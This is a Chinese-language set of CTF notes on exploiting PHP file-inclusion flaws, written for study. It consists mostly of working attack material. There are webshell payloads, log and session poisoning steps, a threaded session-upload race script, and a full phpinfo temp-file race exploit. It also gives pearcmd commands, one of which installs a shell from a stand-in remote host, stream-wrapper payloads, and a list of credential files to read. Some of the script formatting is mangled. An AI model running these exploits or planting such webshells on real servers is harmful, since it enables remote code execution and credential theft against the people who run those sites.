文件包含

一、文件包含漏洞的原理

以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()

1
2
3
<?php
include $_GET['test'];
?>

include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。?test=phpinfo();

因此可以配合文件上传漏洞上传一个图片马,配合文件包含漏洞解析

文件包含不支持通配符

二、本地文件包含漏洞(LFI)

1
2
3
4
<?php
$file=$_GET['filename'];
include($file);
?>

直接更改filename可以读取本地文件

1
2
3
4
5
6
7
8
9
Linux/Unix系统敏感文件:

/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

利用方法:

1.结合文件上传漏洞

2.包含Apache、nginx日志文件

默认nginx的日志路径为 /var/log/nginx/access.log

默认apache/var/log/apache2/access.log /var/log/apache2/access.log

或者通过phpinfo()查看

在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log

直接访问127.0.0.1/<?php phpinfo();>,服务器的日志文件就会解析出这个url,但是被url编码,所以用burpsuite拦截一下更改成未编码的语句

之后通过访问日志文件的位置,执行php代码

注意:如果是UA头注入代码,必须一次写对,如果出错,文件包含执行的时候会报fatal error不再向下解析后续再写入的php代码(环境被污染)

1
2
3
4
?file=../../../../../../var/log/nginx/access.log
UA:<?php eval($_POST[1]);?>

post:1=system('tac /f*');

3.包含session文件

可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

利用条件:

  • 找到Session内的可控变量
  • Session文件可读写,并且知道存储路径

php的session文件的保存路径可以在phpinfo的session.save_path看到

session常见存储路径:

/var/lib/php/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。

涉及到base64编码的原理:4转3

考虑一下session的前缀:username|s:12:",12是base64串的长度。这个前缀有15个字符,不是4的倍数,所以我们只要让长度为三位数即可

也可以竞争包含session文件,脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import threading

sess = "Z3r4y"

file_name = "/var/www/html/1.php"
file_content = '<?php eval($_POST[1]);?>'

url = "http://4adad3b1-d115-4411-980a-01c255f1346e.node5.buuoj.cn:81/flflflflag.php"

data = {
"PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}

file = {
'file': 'Z3r4y'
}

cookies = {
'PHPSESSID': sess
}


def write(session):
while True:
r = session.post(url=url, data=data, files=file, cookies=cookies)


def read(session):
while True:
r = session.post(url=url + "?file=/tmp/sess_Z3r4y")
if "success" in r.text:
print("shell 地址为:" + url + "/1.php")
exit()
else:
print('让我访问!!')


if __name__ == '__main__':
threads = [] # 线程列表
for i in range(5): # 写入线程,数字越大竞争能力越强
session = requests.session()
t = threading.Thread(target=write, args=(session,))
threads.append(t)
t.start()

for i in range(5): # 读取线程
session = requests.session()
t = threading.Thread(target=read, args=(session,))
threads.append(t)
t.start()

for t in threads:
t.join()

注意,有的题目可能会跳转到404页面,成功的标志需要改动

比如

1
2
3
4
5
6
7
8
data = {
"PHP_SESSION_UPLOAD_PROGRESS": f"<?php phpinfo(); file_put_contents('{file_name}','{file_content}');?>"
}
if "flag" in r.text:
print("shell 地址为:" + url + "/1.php")
exit()
利用phpinfo来判断是否成功
可以不用flag,用phpinfo的固定信息比如HTTP_HOST!!!

使用burp进行文件包含时

1
2
3
4
5
6
POST /flflflflag.php?file=1.php HTTP/1.1
Host: 4adad3b1-d115-4411-980a-01c255f1346e.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

1=phpinfo();

注意把get改成post,请求头只留下这几项

4.包含temp文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

文件名一般为/tmp/php?????,我们需要获取脚本运行期间临时文件的完整名字

默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除

php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的 4096个字符

假设我们能够访问phpinfo的结果 FILES 就会存在tmp_name临时文件名字,读取后可以成功包含

强制文件上传,在上传期间,临时文件是存在的,包含临时文件,执行了其中的php代码,达成了RCE效果,最终删除临时文件
最终原理就是增大phpinfo页面回显的字节数,让其不一次性执行完,拖慢执行速度,当读到临时文件时就可以进行包含

用脚本,前提是能知道tmp文件名字才能利用

1
2
3
4
5
6
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://32f26493-8e79-4605-94f2-5aed8ab9fb8c.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

可以强制上传tmp文件,见刷题拓展

也可以用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import sys
import threading
import socket
# 必须python2.7运行!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

def setup(host, port):
TAG = "Security Test"
PAYLOAD = """%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = """GET /?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)


def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s2.connect((host, port))

s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i + 17:i + 31]
except ValueError:
return None

s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()

if d.find(tag) != -1:
return fn


counter = 0


class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1

try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print
"\nGot it! Shell created in /tmp/g"
self.event.set()

except socket.error:
return


def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)

d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

print
"found %s at %i" % (d[i:i + 10], i)
# padded up a bit
return i + 256


def main():
print
"LFI With PHPInfo()"
print
"-=" * 30

if len(sys.argv) < 2:
print
"Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)

try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print
"Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)

port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print
"Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)

poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print
"Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)

print
"Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()

maxattempts = 1000
e = threading.Event()
l = threading.Lock()

print
"Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()

tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print
"Woot! \m/"
else:
print
":("
except KeyboardInterrupt:
print
"\nTelling threads to shutdown..."
e.set()

print
"Shuttin' down..."
for t in tp:
t.join()


if __name__ == "__main__":
main()

python tmp.py host port

前提是phpinfo必须有tmp_name

5.pear文件包含

限制伪协议和文件后缀,很容易联想到pear

条件:

1 有文件包含点
2 开启了pear扩展
3 配置文件中register_argc_argv 设置为On,而默认为Off

PEAR扩展

PHP Extension and Application Repository

默认安装位置是 /usr/local/lib/php/

利用Pear扩展进行文件包含

方法一 远程文件下载

?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+-R+/var/www/html/+http://your-shell.com/shell.php

方法二 生成配置文件/tmp/ctf.php,配置项传入我们恶意的php代码的形式

a=b

username=root man_dir=<?php eval($_POST[1]);?>

ctfshow.php

GET /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+

方法三 写配置文件方式,在网站目录下创建1.php

1
2
GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php
注意是否自带php!!!!!

或者

/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[_]);?>+/tmp/a.php

三、远程文件包含

如果PHP的配置选项allow_url_includeallow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)

1
2
3
4
<?php
$path=$_GET['path'];
include($path . '/phpinfo.php');
?>

为了避免/phpinfo的影响,5.3.4以下的版本可以%00截断,其他版本可以?截断

远程读取文件用到了php伪协议

1.file://

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

file:// [文件的绝对路径和文件名]

2.php://

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码。
php://input用于执行php代码。

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

php://filter/convert.base64-encode/resource=文件路径 读取源代码!可以不加read=

还可以使用rot编码index.php?file=php://filter/string.rot13/resource=flag.php

或者?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

 使用方法:convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>

查看php支持的编码

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。前提:allow_url_include:on

利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,post写入php代码:<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>');?>

生成名为shell.php的木马

3.zip://

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。可以替换为zlib://和bzip2://

1
2
zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://D:\1.zip%23phpinfo.txt

注意,#要编码为%23
我们在使用时不用关心路径,文件名改成需要执行的脚本名字,后缀无影响

4.data://

类似于php://input,当与包含函数结合,会当做php文件执行,可以直接执行php代码!

利用条件:

  • allow_url_fopen :on
  • allow_url_include:on

POC:

1
2
3
data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

十进制ip:

39.156.69.79

39256^3+156256^2+69256^1+79256^0=654311424+10223616+17664+79=664552783

?file=http://664552783/1

  • 配合上例如@之类的可以造成强大迷惑,如http://www.sohu.com@664552783这样,乍一看是sohu,实际上访问到baidu

四、刷题拓展

1.利用php7 segment fault特性(CVE-2018-14884)

php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

利用条件:

php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
可以获取文件名
源代码将GET参数进行文件包含

利用脚本,在/tmp目录下生成文件

1
2
3
4
5
6
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

如果知道文件名,即可进行文件包含

1
2
3
4
5
6
POST /flflflflag.php?file=/tmp/phpaRaCPM HTTP/1.1
Host: b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

cmd=phpinfo();